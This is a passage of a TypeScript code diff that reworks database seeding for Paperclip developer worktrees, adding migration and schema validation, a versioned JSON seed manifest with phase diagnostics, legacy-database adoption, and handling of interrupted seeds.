+  if (requirement === "upToDate" && migrationState.status !== "upToDate") {
+    throw new Error(
+      `Migration journal is not current (${migrationState.pendingMigrations.length} pending migration(s)).`,
+    );
+  }
+
+  const migrationRevision = expectedAppliedPrefix.at(-1);
+  if (!migrationRevision) {
+    throw new Error("Migration journal has no applied revision.");
+  }
+  return migrationRevision;
+}
+
+/**
+ * Markerless worktrees predate the versioned seed manifest. Adopt one only
+ * after proving that its configured database already has a compatible
+ * migration journal and the core Paperclip tables. The physical PG_VERSION
+ * check prevents this read-only probe from initializing a missing embedded
+ * database and then mistaking that empty cluster for legacy evidence.
+ */
+export async function inspectLegacyWorktreeDatabase(
+  configPath: string,
+): Promise<LegacyWorktreeDatabaseEvidence | null> {
+  const config = readConfig(configPath);
+  if (!config) return null;
+
+  const envEntries = readPaperclipEnvEntries(resolvePaperclipEnvFile(configPath));
+  let embeddedHandle: EmbeddedPostgresHandle | null = null;
+  let db: ReturnType<typeof createDb> | null = null;
+  try {
+    if (config.database.mode === "embedded-postgres") {
+      const dataDir = resolveRuntimeLikePath(config.database.embeddedPostgresDataDir, configPath);
+      if (!existsSync(path.join(dataDir, "PG_VERSION"))) return null;
+      embeddedHandle = await ensureEmbeddedPostgres(dataDir, config.database.embeddedPostgresPort);
+    }
+
+    const connectionString = resolveSourceConnectionString(config, envEntries, embeddedHandle?.port);
+    const migrationRevision = resolveWorktreeSeedMigrationRevision(
+      await inspectMigrations(connectionString),
+      "sourcePrefix",
+    );
+    db = createDb(connectionString);
+    await Promise.all([
+      db.select({ id: authUsers.id }).from(authUsers).limit(1),
+      db.select({ id: companies.id }).from(companies).limit(1),
+      db.select({ id: issues.id }).from(issues).limit(1),
+    ]);
+    return { migrationRevision };
+  } catch {
+    return null;
+  } finally {
+    await db?.$client?.end?.({ timeout: 5 }).catch(() => undefined);
+    if (embeddedHandle?.startedByThisProcess) {
+      await embeddedHandle.stop().catch(() => undefined);
+    }
+  }
+}
+
+async function inspectVerifiedSeedDatabase(
+  connectionString: string,
+  options: {
+    deploymentMode: PaperclipConfig["server"]["deploymentMode"];
+    expected?: WorktreeSeedValidationExpectation;
+    migrationRequirement?: "sourcePrefix" | "upToDate";
+    requiredCompanyId?: string;
+  },
+): Promise<{ summary: WorktreeSeedValidationSummary; expectation: WorktreeSeedValidationExpectation }> {
+  const {
+    deploymentMode,
+    expected,
+    migrationRequirement = "upToDate",
+    requiredCompanyId,
+  } = options;
+  const requiresCredentialAccount = requiresWorktreeSeedCredentialAccount(deploymentMode);
+  const migrationState = await inspectMigrations(connectionString);
+  const migrationRevision = resolveWorktreeSeedMigrationRevision(
+    migrationState,
+    migrationRequirement,
+  );
+
+  const db = createDb(connectionString);
+  try {
+    const [counts] = await db
+      .select({
+        authUserCount: sql<number>`count(distinct ${authUsers.id})::int`,
+        credentialAccountCount: sql<number>`count(distinct ${authAccounts.id})::int`,
+        instanceAdminCount: sql<number>`count(distinct ${instanceUserRoles.userId})::int`,
+        activeMembershipCount: sql<number>`count(distinct ${companyMemberships.id})::int`,
+        companyCount: sql<number>`count(distinct ${companies.id})::int`,
+        issueCount: sql<number>`count(distinct ${issues.id})::int`,
+      })
+      .from(authUsers)
+      .leftJoin(authAccounts, eq(authAccounts.userId, authUsers.id))
+      .leftJoin(
+        instanceUserRoles,
+        and(eq(instanceUserRoles.userId, authUsers.id), eq(instanceUserRoles.role, "instance_admin")),
+      )
+      .leftJoin(
+        companyMemberships,
+        and(
+          eq(companyMemberships.principalType, "user"),
+          eq(companyMemberships.principalId, authUsers.id),
+          eq(companyMemberships.status, "active"),
+        ),
+      )
+      .leftJoin(companies, eq(companies.id, companyMemberships.companyId))
+      .leftJoin(issues, eq(issues.companyId, companies.id));
+
+    const admin = await db
+      .select({ userId: authUsers.id })
+      .from(authUsers)
+      .innerJoin(
+        instanceUserRoles,
+        and(eq(instanceUserRoles.userId, authUsers.id), eq(instanceUserRoles.role, "instance_admin")),
+      )
+      .leftJoin(
+        authAccounts,
+        eq(authAccounts.userId, authUsers.id),
+      )
+      .innerJoin(
+        companyMemberships,
+        and(
+          eq(companyMemberships.principalType, "user"),
+          eq(companyMemberships.principalId, authUsers.id),
+          eq(companyMemberships.status, "active"),
+        ),
+      )
+      .where(and(
+        expected ? eq(authUsers.id, expected.adminUserId) : undefined,
+        requiredCompanyId ? eq(companyMemberships.companyId, requiredCompanyId) : undefined,
+        requiresCredentialAccount
+          ? and(
+              sql`length(trim(${authAccounts.providerId})) > 0`,
+              sql`length(trim(${authAccounts.accountId})) > 0`,
+            )
+          : undefined,
+      ))
+      .limit(1)
+      .then((rows) => rows[0] ?? null);
+    if (!admin) {
+      throw new Error(
+        requiresCredentialAccount
+          ? "No auth user has a non-empty credential account, instance-admin role, and active company membership. Authenticated worktree seeding requires a credential-backed instance administrator."
+          : "No auth user has an instance-admin role and active company membership for local-trusted worktree seeding.",
+      );
+    }
+
+    const representative = await db
+      .select({ companyId: companies.id, issueId: issues.id })
+      .from(companies)
+      .innerJoin(issues, eq(issues.companyId, companies.id))
+      .where(
+        and(
+          expected ? eq(companies.id, expected.representativeCompanyId) : undefined,
+          expected ? eq(issues.id, expected.representativeIssueId) : undefined,
+          requiredCompanyId ? eq(companies.id, requiredCompanyId) : undefined,
+        ),
+      )
+      .limit(1)
+      .then((rows) => rows[0] ?? null);
+    if (!representative) {
+      throw new Error("No representative cloned company and issue pair is readable.");
+    }
+
+    const summary: WorktreeSeedValidationSummary = {
+      authUserCount: counts?.authUserCount ?? 0,
+      credentialAccountCount: counts?.credentialAccountCount ?? 0,
+      instanceAdminCount: counts?.instanceAdminCount ?? 0,
+      activeMembershipCount: counts?.activeMembershipCount ?? 0,
+      companyCount: counts?.companyCount ?? 0,
+      issueCount: counts?.issueCount ?? 0,
+      representativeCompanyId: representative.companyId,
+      representativeIssueId: representative.issueId,
+      migrationRevision,
+    };
+    if (
+      summary.authUserCount < 1
+      || (requiresCredentialAccount && summary.credentialAccountCount < 1)
+      || summary.instanceAdminCount < 1
+      || summary.activeMembershipCount < 1
+      || summary.companyCount < 1
+      || summary.issueCount < 1
+    ) {
+      throw new Error("Seed validation found an incomplete auth, membership, company, or issue shape.");
+    }
+
+    return {
+      summary,
+      expectation: {
+        adminUserId: admin.userId,
+        representativeCompanyId: representative.companyId,
+        representativeIssueId: representative.issueId,
+      },
+    };
+  } finally {
+    await db.$client?.end?.({ timeout: 5 }).catch(() => undefined);
+  }
+}
+
 async function seedWorktreeDatabase(input: {
   sourceConfigPath: string;
   sourceConfig: PaperclipConfig;
@@ -1316,16 +1685,12 @@ async function seedWorktreeDatabase(input: {
   instanceId: string;
   seedMode: WorktreeSeedMode;
   preserveLiveWork?: boolean;
+  expectedCompanyId?: string;
+  onPhase?: (phase: WorktreeSeedPhase, status: "started" | "succeeded", message?: string) => void;
 }): Promise<SeedWorktreeDatabaseResult> {
   const seedPlan = resolveWorktreeSeedPlan(input.seedMode);
   const sourceEnvFile = resolvePaperclipEnvFile(input.sourceConfigPath);
   const sourceEnvEntries = readPaperclipEnvEntries(sourceEnvFile);
-  copySeededSecretsKey({
-    sourceConfigPath: input.sourceConfigPath,
-    sourceConfig: input.sourceConfig,
-    sourceEnvEntries,
-    targetKeyFilePath: input.targetPaths.secretsKeyFilePath,
-  });
   let sourceHandle: EmbeddedPostgresHandle | null = null;
   let targetHandle: EmbeddedPostgresHandle | null = null;
 
@@ -1343,6 +1708,29 @@ async function seedWorktreeDatabase(input: {
       sourceEnvEntries,
       sourceHandle?.port,
     );
+    input.onPhase?.("source_validation", "started");
+    const sourceValidation = await inspectVerifiedSeedDatabase(
+      sourceConnectionString,
+      {
+        deploymentMode: input.sourceConfig.server.deploymentMode,
+        migrationRequirement: "sourcePrefix",
+        requiredCompanyId: input.expectedCompanyId,
+      },
+    );
+    input.onPhase?.(
+      "source_validation",
+      "succeeded",
+      `Validated migration ${sourceValidation.summary.migrationRevision}, ${sourceValidation.summary.companyCount} company record(s), and ${sourceValidation.summary.issueCount} issue record(s).`,
+    );
+    copySeededSecretsKey({
+      sourceConfigPath: input.sourceConfigPath,
+      sourceConfig: input.sourceConfig,
+      sourceEnvEntries,
+      targetKeyFilePath: input.targetPaths.secretsKeyFilePath,
+    });
+
+    const snapshotAt = new Date().toISOString();
+    input.onPhase?.("snapshot", "started");
     const backup = await runDatabaseBackup({
       connectionString: sourceConnectionString,
       backupDir: path.resolve(input.targetPaths.backupDir, "seed"),
@@ -1353,10 +1741,13 @@ async function seedWorktreeDatabase(input: {
       excludeTables: seedPlan.excludedTables,
       nullifyColumns: seedPlan.nullifyColumns,
     });
+    input.onPhase?.("snapshot", "succeeded", `Created ${path.basename(backup.backupFile)}.`);
 
+    input.onPhase?.("restore", "started");
     targetHandle = await ensureEmbeddedPostgres(
       input.targetConfig.database.embeddedPostgresDataDir,
       input.targetConfig.database.embeddedPostgresPort,
+      { allowExisting: false },
     );
 
     const adminConnectionString = `postgres://paperclip:paperclip@127.0.0.1:${targetHandle.port}/postgres`;
@@ -1366,21 +1757,52 @@ async function seedWorktreeDatabase(input: {
       connectionString: targetConnectionString,
       backupFile: backup.backupFile,
     });
+    input.onPhase?.("restore", "succeeded");
+    input.onPhase?.("migrations", "started");
     await applyPendingMigrations(targetConnectionString);
+    input.onPhase?.("migrations", "succeeded");
+    input.onPhase?.("execution_quarantine", "started");
     const executionQuarantine = input.preserveLiveWork
       ? { ...EMPTY_SEEDED_WORKTREE_EXECUTION_QUARANTINE_SUMMARY }
       : await quarantineSeededWorktreeExecutionState(targetConnectionString);
+    input.onPhase?.(
+      "execution_quarantine",
+      "succeeded",
+      input.preserveLiveWork
+        ? "Preserved copied live work by explicit request."
+        : formatSeededWorktreeExecutionQuarantineSummary(executionQuarantine),
+    );
+    input.onPhase?.("routine_pause", "started");
     const pausedScheduledRoutines = await pauseSeededScheduledRoutines(targetConnectionString);
+    input.onPhase?.("routine_pause", "succeeded", `Paused ${pausedScheduledRoutines} scheduled routine(s).`);
+    input.onPhase?.("workspace_rebind", "started");
     const reboundWorkspaces = await rebindSeededProjectWorkspaces({
       targetConnectionString,
       currentCwd: input.targetPaths.cwd,
     });
+    input.onPhase?.("workspace_rebind", "succeeded", `Rebound ${reboundWorkspaces.length} workspace path(s).`);
+    input.onPhase?.("post_restore_validation", "started");
+    const targetValidation = await inspectVerifiedSeedDatabase(
+      targetConnectionString,
+      {
+        deploymentMode: input.targetConfig.server.deploymentMode,
+        expected: sourceValidation.expectation,
+      },
+    );
+    input.onPhase?.(
+      "post_restore_validation",
+      "succeeded",
+      `Validated migration ${targetValidation.summary.migrationRevision}.`,
+    );
 
     return {
       backupSummary: formatDatabaseBackupResult(backup),
+      snapshotAt,
+      migrationRevision: targetValidation.summary.migrationRevision,
       pausedScheduledRoutines,
       executionQuarantine,
       reboundWorkspaces,
+      validation: targetValidation.summary,
     };
   } finally {
     if (targetHandle?.startedByThisProcess) {
@@ -1392,46 +1814,216 @@ async function seedWorktreeDatabase(input: {
   }
 }
 
-function writeWorktreeSeedMarker(
-  filePath: string,
-  marker: WorktreeSeedPendingMarker | WorktreeSeedCompleteMarker,
-): void {
+const WORKTREE_SEED_DIAGNOSTIC_LIMIT = 32;
+const WORKTREE_SEED_DIAGNOSTIC_MESSAGE_LIMIT = 512;
+const activeSeedInterruptHandlers = new Map<string, (signal: NodeJS.Signals) => void>();
+
+export function formatWorktreeSeedFailureDiagnostic(
+  phase: WorktreeSeedPhase,
+  error: unknown,
+): string {
+  const message = error instanceof Error ? error.message : String(error ?? "");
+  if (
+    phase === "restore"
+    && /database system is shutting down|terminating connection due to administrator command/i.test(message)
+  ) {
+    return "Target embedded PostgreSQL shut down during restore. Stop any competing worktree service and retry the seed.";
+  }
+  if (phase === "restore" && /Cannot seed target embedded PostgreSQL.+already running/i.test(message)) {
+    return "Target embedded PostgreSQL is owned by a running worktree service. Stop that service and retry the seed.";
+  }
+  if (
+    /No auth user has a non-empty credential account, instance-admin role, and active company membership/i.test(
+      message,
+    )
+  ) {
+    return "Seed validation could not find a credential-backed instance administrator with an active company membership. Authenticated instances must create or sign in an administrator before seeding.";
+  }
+  return `Seed failed during ${phase}.`;
+}
+
+function dispatchSeedInterruption(signal: NodeJS.Signals): void {
+  for (const handler of activeSeedInterruptHandlers.values()) {
+    try {
+      handler(signal);
+    } catch {
+      // Continue terminalizing the other active manifests before exiting.
+    }
+  }
+  process.exit(signal === "SIGINT" ? 130 : 143);
+}
+
+const dispatchSeedSigint = () => dispatchSeedInterruption("SIGINT");
+const dispatchSeedSigterm = () => dispatchSeedInterruption("SIGTERM");
+
+function registerSeedInterruptHandler(handler: (signal: NodeJS.Signals) => void): () => void {
+  const id = randomUUID();
+  if (activeSeedInterruptHandlers.size === 0) {
+    process.once("SIGINT", dispatchSeedSigint);
+    process.once("SIGTERM", dispatchSeedSigterm);
+  }
+  activeSeedInterruptHandlers.set(id, handler);
+  return () => {
+    activeSeedInterruptHandlers.delete(id);
+    if (activeSeedInterruptHandlers.size === 0) {
+      process.off("SIGINT", dispatchSeedSigint);
+      process.off("SIGTERM", dispatchSeedSigterm);
+    }
+  };
+}
+
+type LegacyWorktreeSeedPendingMarker = {
+  version: 1;
+  state: "pending";
+  sourceConfigPath: string;
+};
+
+function resolveSeedInstanceId(configPath: string): string {
+  const envEntries = readPaperclipEnvEntries(resolvePaperclipEnvFile(configPath));
+  return nonEmpty(envEntries.PAPERCLIP_INSTANCE_ID)
+    ?? sanitizeWorktreeInstanceId(path.basename(path.dirname(path.resolve(configPath))));
+}
+
+function writeWorktreeSeedManifest(filePath: string, manifest: WorktreeSeedManifest): void {
   mkdirSync(path.dirname(filePath), { recursive: true });
-  writeFileSync(filePath, `${JSON.stringify(marker, null, 2)}\n`, { mode: 0o600 });
+  const temporaryPath = `${filePath}.${process.pid}.${randomUUID()}.tmp`;
+  writeFileSync(temporaryPath, `${JSON.stringify(manifest, null, 2)}\n`, { mode: 0o600 });
+  renameSync(temporaryPath, filePath);
+}
+
+export function readWorktreeSeedManifest(configPath: string): WorktreeSeedManifest | null {
+  const manifestPath = resolveWorktreeSeedMarkerPaths(configPath).manifest;
+  if (!existsSync(manifestPath)) return null;
+  let parsed: unknown;
+  try {
+    parsed = JSON.parse(readFileSync(manifestPath, "utf8"));
+  } catch (error) {
+    throw new Error(
+      `Invalid worktree seed manifest at ${manifestPath}: ${error instanceof Error ? error.message : String(error)}`,
+    );
+  }
+  const value = parsed as Partial<WorktreeSeedManifest>;
+  const diagnosticsValid = Array.isArray(value.diagnostics) && value.diagnostics.every((diagnostic) => (
+    diagnostic
+    && typeof diagnostic === "object"
+    && WORKTREE_SEED_PHASES.includes(diagnostic.phase)
+    && ["started", "succeeded", "failed"].includes(diagnostic.status)
+    && typeof diagnostic.at === "string"
+    && (diagnostic.message === undefined || typeof diagnostic.message === "string")
+  ));
+  const verifiedTerminalValid = value.state !== "verified" || (
+    value.phase === "complete"
+    && typeof value.snapshotAt === "string"
+    && value.snapshotAt.length > 0
+    && typeof value.migrationRevision === "string"
+    && value.migrationRevision.length > 0
+    && typeof value.startedAt === "string"
+    && typeof value.finishedAt === "string"
+    && value.diagnostics?.some((diagnostic) => (
+      diagnostic.phase === "complete" && diagnostic.status === "succeeded"
+    )) === true
+  );
+  if (
+    !value
+    || typeof value !== "object"
+    || value.version !== 2
+    || !value.source
+    || typeof value.source.instanceId !== "string"
+    || typeof value.source.configPath !== "string"
+    || typeof value.targetInstanceId !== "string"
+    || value.targetInstanceId.length === 0
+    || !isWorktreeSeedMode(String(value.seedMode ?? ""))
+    || !WORKTREE_SEED_PHASES.includes(value.phase as WorktreeSeedPhase)
+    || !["pending", "running", "verified", "failed"].includes(String(value.state ?? ""))
+    || typeof value.attemptId !== "string"
+    || value.attemptId.length === 0
+    || !diagnosticsValid
+    || !verifiedTerminalValid
+  ) {
+    throw new Error(`Invalid worktree seed manifest at ${manifestPath}.`);
+  }
+  return value as WorktreeSeedManifest;
 }
 
 export function markWorktreeSeedPending(input: {
   configPath: string;
   sourceConfigPath: string;
-  now?: Date;
-}): void {
-  const markers = resolveWorktreeSeedMarkerPaths(input.configPath);
-  rmSync(markers.complete, { force: true });
-  writeWorktreeSeedMarker(markers.pending, {
-    version: 1,
-    state: "pending",
-    sourceConfigPath: path.resolve(input.sourceConfigPath),
-    seedMode: "minimal",
-    createdAt: (input.now ?? new Date()).toISOString(),
-  });
-}
-
-export function markWorktreeSeedComplete(input: {
-  configPath: string;
+  targetInstanceId?: string;
   seedMode?: WorktreeSeedMode;
   now?: Date;
+  diagnosticMessage?: string;
 }): void {
   const markers = resolveWorktreeSeedMarkerPaths(input.configPath);
-  writeWorktreeSeedMarker(markers.complete, {
-    version: 1,
-    state: "complete",
+  const at = (input.now ?? new Date()).toISOString();
+  writeWorktreeSeedManifest(markers.manifest, {
+    version: 2,
+    source: {
+      instanceId: resolveSeedInstanceId(input.sourceConfigPath),
+      configPath: path.resolve(input.sourceConfigPath),
+    },
+    snapshotAt: null,
     seedMode: input.seedMode ?? "minimal",
-    completedAt: (input.now ?? new Date()).toISOString(),
+    migrationRevision: null,
+    targetInstanceId: input.targetInstanceId ?? resolveSeedInstanceId(input.configPath),
+    phase: "pending",
+    state: "pending",
+    attemptId: randomUUID(),
+    startedAt: null,
+    finishedAt: null,
+    diagnostics: [{
+      phase: "pending",
+      status: "succeeded",
+      at,
+      ...(input.diagnosticMessage
+        ? { message: input.diagnosticMessage.slice(0, WORKTREE_SEED_DIAGNOSTIC_MESSAGE_LIMIT) }
+        : {}),
+    }],
   });
+  // New manifests are authoritative. Legacy files are removed so no caller can
+  // mistake a stale binary marker for current verified seed state.
+  rmSync(markers.complete, { force: true });
   rmSync(markers.pending, { force: true });
 }
 
-function readWorktreeSeedPendingMarker(filePath: string): WorktreeSeedPendingMarker {
+function updateWorktreeSeedManifest(input: {
+  configPath: string;
+  phase: WorktreeSeedPhase;
+  status: "started" | "succeeded" | "failed";
+  state?: WorktreeSeedManifest["state"];
+  message?: string;
+  snapshotAt?: string | null;
+  migrationRevision?: string | null;
+  now?: Date;
+}): WorktreeSeedManifest {
+  const markers = resolveWorktreeSeedMarkerPaths(input.configPath);
+  const current = readWorktreeSeedManifest(input.configPath);
+  if (!current) throw new Error(`Worktree seed manifest does not exist at ${markers.manifest}.`);
+  const at = (input.now ?? new Date()).toISOString();
+  const nextState = input.state ?? current.state;
+  const diagnostic = {
+    phase: input.phase,
+    status: input.status,
+    at,
+    ...(input.message
+      ? { message: input.message.slice(0, WORKTREE_SEED_DIAGNOSTIC_MESSAGE_LIMIT) }
+      : {}),
+  };
+  const next: WorktreeSeedManifest = {
+    ...current,
+    phase: input.phase,
+    state: nextState,
+    snapshotAt: input.snapshotAt === undefined ? current.snapshotAt : input.snapshotAt,
+    migrationRevision:
+      input.migrationRevision === undefined ? current.migrationRevision : input.migrationRevision,
+    startedAt: current.startedAt ?? (input.status === "started" ? at : null),
+    finishedAt: nextState === "verified" || nextState === "failed" ? at : null,
+    diagnostics: [...current.diagnostics, diagnostic].slice(-WORKTREE_SEED_DIAGNOSTIC_LIMIT),
+  };
+  writeWorktreeSeedManifest(markers.manifest, next);
+  return next;
+}
+
+function readLegacyWorktreeSeedPendingMarker(filePath: string): LegacyWorktreeSeedPendingMarker {
   let parsed: unknown;
   try {
     parsed = JSON.parse(readFileSync(filePath, "utf8"));
@@ -1452,7 +2044,7 @@ function readWorktreeSeedPendingMarker(filePath: string): WorktreeSeedPendingMar
     throw new Error(`Invalid worktree seed-pending marker at ${filePath}.`);
   }
 
-  return parsed as WorktreeSeedPendingMarker;
+  return parsed as LegacyWorktreeSeedPendingMarker;
 }
 
 const WORKTREE_SEED_LOCK_POLL_MS = 50;
@@ -1546,41 +2138,269 @@ async function acquireWorktreeSeedLock(lockPath: string): Promise<() => Promise<
   }
 }
 
+function startWorktreeSeedAttempt(configPath: string, now = new Date()): WorktreeSeedManifest {
+  const markers = resolveWorktreeSeedMarkerPaths(configPath);
+  const current = readWorktreeSeedManifest(configPath);
+  if (!current) throw new Error(`Worktree seed manifest does not exist at ${markers.manifest}.`);
+  const at = now.toISOString();
+  const next: WorktreeSeedManifest = {
+    ...current,
+    state: "running",
+    phase: "pending",
+    attemptId: randomUUID(),
+    snapshotAt: null,
+    migrationRevision: null,
+    startedAt: at,
+    finishedAt: null,
+    diagnostics: [
+      ...current.diagnostics,
+      { phase: "pending" as const, status: "started" as const, at },
+    ].slice(-WORKTREE_SEED_DIAGNOSTIC_LIMIT),
+  };
+  writeWorktreeSeedManifest(markers.manifest, next);
+  return next;
+}
+
+async function runVerifiedWorktreeSeed(input: {
+  configPath: string;
+  sourceConfigPath: string;
+  sourceConfig: PaperclipConfig;
+  targetConfig: PaperclipConfig;
+  targetPaths: WorktreeLocalPaths;
+  instanceId: string;
+  seedMode: WorktreeSeedMode;
+  preserveLiveWork?: boolean;
+  expectedCompanyId?: string;
+  seedDatabase: SeedWorktreeDatabase;
+}): Promise<SeedWorktreeDatabaseResult> {
+  let activePhase: WorktreeSeedPhase = "pending";
+  const previous = readWorktreeSeedManifest(input.configPath);
+  if (previous?.state === "running") {
+    updateWorktreeSeedManifest({
+      configPath: input.configPath,
+      phase: previous.phase,
+      status: "failed",
+      state: "failed",
+      message: "The previous seed attempt ended without a terminal result.",
+    });
+  }
+  startWorktreeSeedAttempt(input.configPath);
+
+  const unregisterInterruption = registerSeedInterruptHandler((signal) => {
+    updateWorktreeSeedManifest({
+      configPath: input.configPath,
+      phase: activePhase,
+      status: "failed",
+      state: "failed",
+      message: `Seed interrupted by ${signal} during ${activePhase}.`,
+    });
+  });
+
+  try {
+    const details = await input.seedDatabase({
+      sourceConfigPath: input.sourceConfigPath,
+      sourceConfig: input.sourceConfig,
+      targetConfig: input.targetConfig,
+      targetPaths: input.targetPaths,
+      instanceId: input.instanceId,
+      seedMode: input.seedMode,
+      preserveLiveWork: input.preserveLiveWork,
+      expectedCompanyId: input.expectedCompanyId,
+      onPhase: (phase, status, message) => {
+        activePhase = phase;
+        updateWorktreeSeedManifest({
+          configPath: input.configPath,
+          phase,
+          status,
+          state: "running",
+          message,
+          ...(phase === "snapshot" && status === "started"
+            ? { snapshotAt: new Date().toISOString() }
+            : {}),
+        });
+      },
+    });
+    if (!details.snapshotAt || !details.migrationRevision || !details.validation) {
+      throw new Error("Seed implementation returned without required validation evidence.");
+    }
+    updateWorktreeSeedManifest({
+      configPath: input.configPath,
+      phase: "complete",
+      status: "succeeded",
+      state: "verified",
+      snapshotAt: details.snapshotAt,
+      migrationRevision: details.migrationRevision,
+      message:
+        `Verified ${details.validation.companyCount} company record(s), `
+        + `${details.validation.issueCount} issue record(s), auth, admin, membership, and migration state.`,
+    });
+    return details;
+  } catch (error) {
+    updateWorktreeSeedManifest({
+      configPath: input.configPath,
+      phase: activePhase,
+      status: "failed",
+      state: "failed",
+      // Do not persist the underlying error: database/driver errors may contain
+      // connection credentials. The CLI still returns the exact error to its caller.
+      message: formatWorktreeSeedFailureDiagnostic(activePhase, error),
+    });
+    throw error;
+  } finally {
+    unregisterInterruption();
+  }
+}
+
 export async function ensureWorktreeSeeded(
   opts: WorktreeEnsureSeededOptions = {},
-  dependencies: { seedDatabase?: SeedWorktreeDatabase } = {},
+  dependencies: {
+    seedDatabase?: SeedWorktreeDatabase;
+    inspectLegacyDatabase?: typeof inspectLegacyWorktreeDatabase;
+  } = {},
 ): Promise<EnsureWorktreeSeededResult> {
   const configPath = resolveConfigPath(opts.config);
   const markers = resolveWorktreeSeedMarkerPaths(configPath);
+  const initialManifest = readWorktreeSeedManifest(configPath);
+  if (initialManifest?.state === "verified") {
+    return { seeded: false, reason: "verified_manifest" };
+  }
+  if (!initialManifest && existsSync(markers.complete)) {
+    return { seeded: false, reason: "complete_marker" };
+  }
+  const legacyPending = !initialManifest && existsSync(markers.pending)
+    ? readLegacyWorktreeSeedPendingMarker(markers.pending)
+    : null;
+  const hasExplicitSource = Boolean(opts.fromConfig || opts.fromDataDir || opts.fromInstance);
+  const explicitSourceConfigPath = hasExplicitSource
+    ? resolveSourceConfigPath({
+        fromConfig: opts.fromConfig,
+        fromDataDir: opts.fromDataDir,
+        fromInstance: opts.fromInstance,
+      })
+    : null;
+  const registeredBaseWorkspaceCwd = opts.registeredBaseWorkspaceCwd
+    ?? nonEmpty(process.env.PAPERCLIP_WORKSPACE_BASE_CWD)
+    ?? null;
+  if (!initialManifest && !legacyPending && !hasExplicitSource && !registeredBaseWorkspaceCwd) {
+    if (existsSync(markers.lock)) {
+      const releaseExistingLock = await acquireWorktreeSeedLock(markers.lock);
+      await releaseExistingLock();
+    }
+    return { seeded: false, reason: "legacy_unmarked" };
+  }
+  const registeredProjectWorkspaceId = opts.registeredProjectWorkspaceId
+    ?? nonEmpty(process.env.PAPERCLIP_PROJECT_WORKSPACE_ID)
+    ?? null;
+  const expectedCompanyId = opts.expectedCompanyId
+    ?? nonEmpty(process.env.PAPERCLIP_SEED_EXPECTED_COMPANY_ID)
+    ?? nonEmpty(process.env.PAPERCLIP_COMPANY_ID)
+    ?? undefined;
+  if (!explicitSourceConfigPath && registeredBaseWorkspaceCwd && (!registeredProjectWorkspaceId || !expectedCompanyId)) {
+    throw new Error(
+      "Managed worktree seed registration is incomplete; project workspace and company bindings are required.",
+    );
+  }
+
+  const targetRoot = path.dirname(path.dirname(configPath));
+  const targetPaths = resolveWorktreeReseedTargetPaths({ configPath, rootPath: targetRoot });
+  const registeredSeedSource = resolveRegisteredWorktreeSeedSource({
+    registeredBaseWorkspaceCwd,
+    explicitSourceConfigPath,
+    targetConfigPath: configPath,
+    expectedTargetInstanceId: targetPaths.instanceId,
+  });
+
+  if (initialManifest && initialManifest.targetInstanceId !== registeredSeedSource.targetInstanceId) {
+    throw new Error("Worktree seed manifest target instance does not match the registered target instance.");
+  }
+
+  // Resolve all authority-bearing paths before creating the lock. The manifest is
+  // agent-writable diagnostic evidence and never selects the source. A stale source
+  // diagnostic is replaced under the lock from this server/operator registration.
+  let canonicalSource = registeredSeedSource;
   mkdirSync(path.dirname(markers.lock), { recursive: true });
   const releaseLock = await acquireWorktreeSeedLock(markers.lock);
   try {
     // These checks deliberately happen under the cross-process lock. A second
     // service process waits for the first seed transaction, then observes the
-    // complete marker instead of cloning the same database concurrently.
-    if (existsSync(markers.complete)) {
-      return { seeded: false, reason: "complete_marker" };
+    // verified manifest instead of cloning the same database concurrently.
+    let manifest = readWorktreeSeedManifest(configPath);
+    if (manifest?.state === "verified") {
+      return { seeded: false, reason: "verified_manifest" };
     }
-    if (!existsSync(markers.pending)) {
-      // Worktrees created before lazy seeding shipped were seeded eagerly and
-      // have neither marker. Preserve that compatibility without re-cloning.
-      return { seeded: false, reason: "legacy_unmarked" };
+    if (!manifest && existsSync(markers.pending)) {
+      const currentLegacyPending = readLegacyWorktreeSeedPendingMarker(markers.pending);
+      if (currentLegacyPending.sourceConfigPath !== legacyPending?.sourceConfigPath) {
+        throw new Error("Worktree seed source diagnostics changed while waiting for the seed lock.");
+      }
+      markWorktreeSeedPending({
+        configPath,
+        sourceConfigPath: registeredSeedSource.configPath,
+        targetInstanceId: targetPaths.instanceId,
+        seedMode: "minimal",
+        diagnosticMessage: "Re-derived seed source diagnostics from the registered canonical source.",
+      });
+      manifest = readWorktreeSeedManifest(configPath);
     }
+    if (!manifest) {
+      const legacyEvidence = await (
+        dependencies.inspectLegacyDatabase ?? inspectLegacyWorktreeDatabase
+      )(configPath);
+      if (legacyEvidence) {
+        markWorktreeSeedPending({
+          configPath,
+          sourceConfigPath: registeredSeedSource.configPath,
+          targetInstanceId: targetPaths.instanceId,
+          seedMode: "minimal",
+          diagnosticMessage: "Validated existing legacy worktree database schema before adoption.",
+        });
+        startWorktreeSeedAttempt(configPath);
+        updateWorktreeSeedManifest({
+          configPath,
+          phase: "complete",
+          status: "succeeded",
+          state: "verified",
+          snapshotAt: new Date().toISOString(),
+          migrationRevision: legacyEvidence.migrationRevision,
+          message: "Adopted an existing legacy worktree database after validating its migration journal and core schema.",
+        });
+        return { seeded: false, reason: "legacy_database" };
+      }
 
-    const pending = readWorktreeSeedPendingMarker(markers.pending);
-    const sourceConfigPath = opts.fromConfig || opts.fromDataDir || opts.fromInstance
-      ? resolveSourceConfigPath({
-          fromConfig: opts.fromConfig,
-          fromDataDir: opts.fromDataDir,
-          fromInstance: opts.fromInstance,
-        })
-      : path.resolve(pending.sourceConfigPath);
-
-    if (path.resolve(sourceConfigPath) === path.resolve(configPath)) {
-      throw new Error(
-        "Source and target Paperclip configs are the same. Pass --from-config for the source instance.",
-      );
+      markWorktreeSeedPending({
+        configPath,
+        sourceConfigPath: registeredSeedSource.configPath,
+        targetInstanceId: targetPaths.instanceId,
+        seedMode: "minimal",
+        diagnosticMessage: "No verified seed or compatible legacy database was found; provisioning is required.",
+      });
+      manifest = readWorktreeSeedManifest(configPath);
+      if (!manifest) {
+        throw new Error("Failed to create a pending worktree seed manifest.");
+      }
     }
+    if (
+      manifest.source.configPath !== registeredSeedSource.configPath
+      || manifest.source.instanceId !== registeredSeedSource.instanceId
+    ) {
+      markWorktreeSeedPending({
+        configPath,
+        sourceConfigPath: registeredSeedSource.configPath,
+        targetInstanceId: manifest.targetInstanceId,
+        seedMode: manifest.seedMode,
+        diagnosticMessage: "Re-derived seed source diagnostics from the registered canonical source.",
+      });
+      manifest = readWorktreeSeedManifest(configPath)!;
+    }
+    canonicalSource = resolveCanonicalWorktreeSeedSource({
+      registeredBaseWorkspaceCwd,
+      explicitSourceConfigPath,
+      targetConfigPath: configPath,
+      expectedTargetInstanceId: targetPaths.instanceId,
+      manifestSource: manifest.source,
+      manifestTargetInstanceId: manifest.targetInstanceId,
